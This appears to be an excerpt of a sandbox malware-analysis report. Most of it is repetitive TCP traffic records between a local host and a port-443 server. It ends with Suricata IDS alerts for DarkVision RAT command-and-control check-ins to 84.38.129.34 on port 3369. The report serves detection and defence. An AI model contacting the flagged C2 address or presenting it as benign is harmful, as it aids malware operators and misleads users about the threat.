Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 149.137.128.16:443 -> 192.168.2.4:49722
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49731 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49733 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49730 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49734 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49735 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49732 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49744 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49745 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49749 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49751 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49740 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49750 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49758 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49755 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49753 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49756 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49757 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49765 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49752 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49766 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49770 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045619 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M3 : 192.168.2.4:49758 -> 84.38.129.34:3369
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.4:49743 -> 84.38.129.34:3369
